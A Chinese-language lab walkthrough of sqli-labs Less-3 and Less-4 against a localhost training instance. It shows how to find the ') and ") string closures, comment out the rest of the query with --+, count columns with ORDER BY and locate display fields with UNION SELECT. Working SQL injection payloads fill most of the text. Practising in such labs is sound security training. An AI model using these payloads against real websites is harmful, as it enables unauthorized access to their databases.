Less-3 和 Less-4 ')闭合绕过

判断注入类型

测试:http://localhost/sqli-labs-master/Less-3/index.php?id=1a



正常回显，可以判断为 字符型注入

闭合字符串执行而已 SQL语句

尝试使用 '闭合，http://localhost/sqli-labs-master/Less-3/index.php?id=1'



通过报错信息可以看出,我们使用'闭合后，后面还有一个)

尝试是使用 ')闭合，http://localhost/sqli-labs-master/Less-3/index.php?id=1')



报错提示) limit 0,1 错误，使用 --+ 将其后面的语句注释即可

paylod:http://localhost/sqli-labs-master/Less-3/index.php?id=1') --+



正常回显，成功绕过

判断字段数

测试:http://localhost/sqli-labs-master/Less-3/index.php?id=1') order by 3--+



正常回显

继续测试:http://localhost/sqli-labs-master/Less-3/index.php?id=1') order by 4--+



报错，说明存在 3 个字段

查看字段显示顺序

测试:http://localhost/sqli-labs-master/Less-3/index.php?id=-1') union select 1,2,3 --+



可以看到 2 和 3 正常回显，注意: id=-1

后续操作我就不在说明了，和之前的sqli-labs-Less1几乎一样的流程

Less4关卡

这里直接演示 union select 1,2,3 的语句。

payload:http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,2,3--+



和 Less3 几乎一模一样，Less3关卡使用')单引号右括号闭合，而Less4关卡使用")算引号右括号闭合。

后续步骤也和sqli-labs-Less1几乎一样的流程